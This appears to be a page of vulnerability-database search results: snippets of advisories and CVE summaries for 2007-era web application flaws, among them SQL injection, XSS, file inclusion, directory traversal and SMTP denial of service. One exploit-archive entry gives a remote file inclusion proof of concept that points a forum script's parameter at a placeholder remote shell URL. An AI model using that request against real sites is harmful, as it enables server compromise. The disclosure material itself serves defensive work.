18426 matches found
Unfixed XSS vulnerability at www.dqscert.com
Security researcher DerickTham, has submitted on 29/12/2007 a cross-site-scripting XSS vulnerability affecting www.dqscert.com, which at the time of submission ranked 941580 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 25/02/2008. It is...
Mihalism Multi Forum Host 3.0.x - Remote File Inclusion
Mihalism Multi Forum Host = v3.0.x Remote File Inclusion Vulnerability Script Page : http://www.mihalism.com/misc/downloads/ POC : /ScriptPage/source/includes/loadforum.php?mfhrootpath=http://Shell D0rK : Mihalism Multi Forum Host © 2007 GREETZ TO : TrYaG-TeaM , H-T Team , RoMaNcYxHaCkEr ,...
CVE-2007-6579
Multiple SQL injection vulnerabilities in Ip Reg 0.3 allow remote attackers to execute arbitrary SQL commands via the vlanid parameter to 1 vlanview.php, 2 vlanedit.php, and 3 vlandel.php; the 4 assetclassgroupid parameter to assetclassgroupview.php; the 5 subnetid parameter to nodelist.php; and...
CVE-2007-6585
PHP remote file inclusion vulnerability in confirmUnsubscription.php in NmnNewsletter 1.0.7 allows remote attackers to execute arbitrary PHP code via a URL in the output parameter...
CVE-2007-6569
Cross-site scripting XSS vulnerability in the View Error Log functionality in Sun Java System Web Proxy Server 4.x before 4.0.6 allows remote attackers to inject arbitrary web script or HTML via unspecified vectors, aka BugID 6566246...
CVE-2007-6592
Apple Safari 2 accepts a certificate if the CN matches the requested domain and also treats SAN:dNSName entries as valid for the same certificate, enabling a spoofed site to trick a user into accepting an invalid certificate. Root cause involves how certificate trust is evaluated across CN and SA...
CVE-2007-6573
QK SMTP Server 3 allows remote attackers to cause a denial of service daemon crash via a long 1 HELO, 2 MAIL FROM, or 3 RCPT TO command; or 4 a long string in the message sent after the DATA command; possibly a related issue to CVE-2006-5551...
CVE-2007-6578
SQL injection vulnerability in go.php in PHP ZLink 0.3 allows remote attackers to execute arbitrary SQL commands via the id parameter...
CVE-2007-6566
CVE-2007-6566 describes an SQL injection in post.php of XZero Community Classifieds 4.95.11 and earlier. The vulnerability allows remote attackers to execute arbitrary SQL commands via the subcatid parameter to index.php. The NVD entry lists a CVSS v2 base score of 7.5 (High). No exploitation det...
CVE-2007-6567
CVE-2007-6567 affects XZero Community Classifieds up to version 4.95.11. The vulnerability resides in the script index.php where a directory traversal can be triggered via a pagename parameter in a page view action, allowing an attacker to include and execute arbitrary local files. This can impac...
CVE-2007-6568
CVE-2007-6568 describes a PHP remote file inclusion vulnerability in the config.inc.php file of XZero Community Classifieds 4.95.11 and earlier . The issue allows remote attackers to execute arbitrary PHP code via a URL supplied in the path_escape parameter. The NVD metrics indicate a base score ...
CVE-2007-6571
CVE-2007-6571 describes a cross-site scripting (XSS) vulnerability in Sun Java System Web Proxy Server 3.6 before SP11 on Windows, allowing remote attackers to inject arbitrary web script or HTML via unspecified vectors. Affected product/version: Sun Java System Web Proxy Server 3.6 prior to SP11...
CVE-2007-6572
CVE-2007-6572 is an XSS vulnerability in Sun Java System Web Server 6.1 before SP8 and 7.0 before Update 1. It allows remote attackers to inject arbitrary web script or HTML via unspecified vectors (BugID 6566204). Affected components: Sun Java System Web Server 6.1 (pre-SP8) and 7.0 (pre-Update ...
CVE-2007-6573
Summary: CVE-2007-6573 affects QK SMTP Server, with a denial-of-service condition triggered by abnormally long commands (HELO, MAIL FROM, RCPT TO) or a long DATA payload. The connected OpenVAS entries describe a stack-based overflow in the RCPT TO handling, implying a potential crash of the SMTP ...
CVE-2007-6580
CVE-2007-6580 affects Wallpaper Site 1.0.09 and involves SQL injection in two parameters: (1) catid in category.php and (2) groupid in editadgroup.php. The vulnerability enables remote attackers to execute arbitrary SQL commands. The CVE's NVD entry lists a base score of 7.5 (HIGH) with network a...
CVE-2007-6582
CVE-2007-6582 : A directory traversal vulnerability in index.php of mBlog 1.2 allows remote attackers to read arbitrary files by supplying a .. sequence in the page parameter within a page mode action. This is tied to the vulnerable component/function (index.php, page mode) and enables partial co...
CVE-2007-6583
CVE-2007-6583 is a SQL injection vulnerability in the 1024 CMS 1.3.1, specifically in the file path admin/ops/findip/ajax/search.php. The underlying issue allows remote attackers to inject SQL via the ip parameter and may enable partial confidentiality and integrity impact and partial availabilit...
CVE-2007-6584
1024 CMS 1.3.1 is affected by multiple directory traversal vulnerabilities that allow remote attackers to include and execute arbitrary local files via ../ in specific parameters (lang, theme_dir, admin_theme_dir) across several pages (news.php, search.php, download.php, forum.php, etc.). The not...
CVE-2007-6586
CVE-2007-6586 is a SQL injection in nicLOR-CMS (sezione_news.php) that allows remote attackers to inject arbitrary SQL via the id parameter in a sezione page action to index.php. Affected: nicLOR-CMS, sezione_news.php; impact per sources is partial confidentiality/integrity/availability. Exploit ...